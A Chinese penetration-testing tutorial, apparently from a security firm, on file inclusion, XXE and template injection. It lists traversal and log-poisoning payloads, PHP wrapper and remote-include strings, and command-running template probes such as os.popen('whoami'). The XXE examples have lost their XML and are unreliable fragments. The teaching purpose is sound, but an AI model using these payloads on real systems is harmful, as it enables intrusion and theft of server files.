当前位置:首页 >  站长 >  建站经验 >  正文

网站渗透测试 对文件包含注入检测办法

 2019-10-11 10:10  来源:A5用户投稿  我来投稿   websafe的个人主页 撤稿纠错

  各种互联网项目,新手可操作,几乎都是0门槛

昨天给大家普及到了渗透测试中执行命令漏洞的检测方法,今天抽出时间由我们Sine安全的渗透工程师来讲下遇到文件包含漏洞以及模板注入漏洞的检测方法和防御手段,本文仅参考给有授权渗透测试的正规安全检测的客户,让更多的客户了解到具体测试的内容,是如何进行全面的网站安全测试。

3.8. 文件包含

3.8.1. 基础

常见的文件包含漏洞的形式为

考虑常用的几种包含方式为

同目录包含 file=.htaccess

目录遍历 ?file=../../../../../../../../../var/lib/locate.db

日志注入 ?file=../../../../../../../../../var/log/apache/error.log

利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

3.8.2. 绕过技巧

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

3.8.2.1. url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

3.8.2.2. 特殊字符绕过

某些情况下,读文件支持使用Shell通配符,如 ? * 等

url中 使用 ? # 可能会影响include包含的结果

某些情况下,unicode编码不同但是字形相近的字符有同一个效果

3.8.2.3. %00截断

几乎是最常用的方法,条件是magic_quotes_gpc打开,而且php版本小于5.3.4。

3.8.2.4. 长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

msdn定义“`#define MAX_PATH 260“`,第260个字符为字符串结尾的“`0“`

linux可以用getconf来判断文件名长度限制和文件路径长度限制

获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255

那么在长度有限的时候,`././././` (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

3.8.2.5. 伪协议绕过

远程包含: 要求 allow_url_fopen=On and allow_url_include=On , payload为 ?file=[http|https|ftp]://域名/shell.txt

PHP INPUT: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input

: 使用伪协议读取文件,payload为 ?file=php://filter/convert.-encode/resource=index.php

DATA: 使用data伪协议读取文件,payload为 ?file=data://text/plain;,SSBsb3ZlIFBIUAo= 要求 allow_url_include=On

3.9. XXE

3.9.1. XML基础

XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。

3.9.2. XXE

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。

3.9.3. 攻击方式

3.9.3.1. 拒绝服务攻击

]>

&a2;

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

3.9.3.2. 文件读取

]>

&file;

3.9.3.3. SSRF

]>

4

3.9.3.4. RCE

]>

&xxe;

3.9.3.5. XInclude

3.10 模板注入漏洞

3.10. 模版注入

3.10.1. 简介

模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。

3.10.2. 测试方法

确定使用的引擎

查看引擎相关的文档,确定其安全机制以及自带的函数和变量

需找攻击面,尝试攻击

3.10.3. 测试用例

简单的数学表达式,{{ 7+7 }} => 14

字符串表达式 {{ "ajin" }} => ajin

Ruby

Java

${7*7}

Twig

{{7*7}}

Smarty

{php}echo `id`;{/php}

AngularJS

$eval('1+1')

Tornado

引用模块 {% import module %}

=> {% import os %}{{ os.popen("whoami").read() }}

Flask/Jinja2

{{ config.items() }}

{{''.__class__.__mro__[-1].__subclasses__()}}

Django

{{ request }}

{% debug %}

{% load module %}

{% include "x.html" %}

{% extends "x.html" %}

3.10.4. 目标

创建对象

文件读写

远程文件包含

信息泄漏 提权

3.10.5. 相关属性

3.10.5.1. __class__

python中的新式类(即显示继承object对象的类)都有一个属性 __class__ 用于获取当前实例对应的类,例如 "".__class__ 就可以获取到字符串实例对应的类

3.10.5.2. __mro__

python中类对象的 __mro__ 属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。

3.10.5.3. __globals__

保存了函数所有的所有全局变量,在利用中,可以使用 __init__ 获取对象的函数,并通过 __globals__ 获取 file os 等模块以进行下一步的利用

3.10.5.4. __subclasses__()

python的新式类都保留了它所有的子类的引用,__subclasses__() 这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。

因为python中的类都是继承object的,所以只要调用object类对象的 __subclasses__() 方法就可以获取想要的类的对象。这一节渗透测试讲到的这些内容和绕过手法,如果对自己网站不太放心的话可以找专业的网站安全公司来处理解决,国内做的比较好的如Sinesafe,绿盟,启明星辰等等。

作者: websafe    /    文章:75篇

申请创业报道,分享创业好点子。点击此处,共同探讨创业新机遇!

相关文章

  • 网站命令执行渗透测试步骤详情

    哈喽大家好,近期我们Sine安全对客户平台进行渗透测试的时候,发现有一些命令执行的漏洞测试语句和函数,导致服务器被提权被入侵,上一节提到XSS跨站脚本攻击检测方法,本章来总和一下脚本执行命令的详细检测手段,以及绕过waf的办法,只有这样详细的对平台进行安全测试才能保障整个平台安全稳定。

  • 渗透测试中遇到的越权漏洞该如何解决

    对存在权限验证的页面进行安全效验,效验网站APP前端获取到的参数,ID,账户密码,返回也需要效验。对于修改,添加等功能进行当前权限判断,验证所属用户,使用seesion来安全效验用户的操作权限,get,post数据只允许输入指定的信息。

  • 渗透测试XSS跨站攻击检测手法

    国庆假期结束,这一节准备XSS跨站攻击渗透测试中的利用点,上一节讲了SQL注入攻击的详细流程,很多朋友想要咨询具体在跨站攻击上是如何实现和利用的,那么我们Sinesafe渗透测试工程师为大家详细的讲讲这个XSS是如何实现以及原理。

  • 渗透测试对网站注入攻击方法剖析

    国庆即将到来,前一期讲到获取网站信息判断所属环境以及各个端口的用处和弱口令密码利用方法,这期仍有很多客户找到我们Sine安全想要了解针对于SQL注入攻击的测试方法,这一期我们来讲解下注入的攻击分类和使用手法,让客户明白漏洞是如何产生的,会给网站安全带来怎样的影响!

  • 实战渗透测试判断网站信息内容讲解

    上一节讲到渗透测试中的代码审计讲解,对整个代码的函数分析以及危险语句的避让操作,近期很多客户找我们Sine安全想要了解如何获取到网站的具体信息,以及我们整个渗透工作的流程,因为这些操作都是通过实战累计下来的竟然,渗透测试是对网站检查安全性以及稳定性的一个预防针,前提是必须要有客户的授权才能做这些操作

  • 企业网站建设策划要如何开展?

    而企业网站的建设,从某种意义上来说也算是一个IT项目。那么,企业网站建设策划的过程当中,按照项目管理的方式来进行策划,就可以保证网站建设项目管理具有全面性以及有效性。

    标签:
    企业网站建设
  • 网站建设公司都是怎么做网页设计的

    网页的设计决定了网站后期发展的好坏,所以设计好网页是每一个需要建设网站的公司需要注意的地方,那么像星宿科技这样专业建设网站的公司,都是怎么做网页设计的呢?

    标签:
    企业网站建设
  • 新站建设需要注意哪些问题?

    随着互联网技术的不断发展,大部分企业都拥有自己的网站。对于一些初创公司和目前还没有自己的网站的企业来说,也非常希望能够尽早将自己的网站建设起来,但网站的建设并不是那么简单的事情。

    标签:
    企业网站建设
  • 网站建设页面如何设计才能更加具有美感

    对于企业来说搭建一个网站并不难,难的是如何在满足功能需求的基础上又能够给用户美的感受,给用户最佳的网站体验。今天我就和大家一起探讨一下,看网站建设页面如何设计才能够更加具有美感。

    标签:
    企业网站建设
  • 网站建设公司哪家好,该如何选择?

    随着互联网的飞速发展和普及,网站几乎是每家企业营销推广的必需品。有需求就有供应,因此市面上的网站建设公司和网站管理系统越来越多,那么企业在网站建设时如何选择一家合适的网站建设公司呢,小熊优化的小编就告诉大家从下面三点来甄选

    标签:
    企业网站建设
  • Laravel框架网站漏洞测试与修复

    Laravel框架是目前许多网站,APP运营者都在使用的一款开发框架,正因为使用的网站较多,许多攻击者都在不停的对该网站进行漏洞测试,我们SINE安全在对该套系统进行漏洞测试的时候,发现存在REC漏洞.主要是XSRF漏洞,下面我们来详细的分析漏洞,以及如何利用,漏洞修复等三个方面进行全面的记录.

    标签:
    网站漏洞修复
榜单

热门排行

信息推荐

扫一扫关注最新创业资讯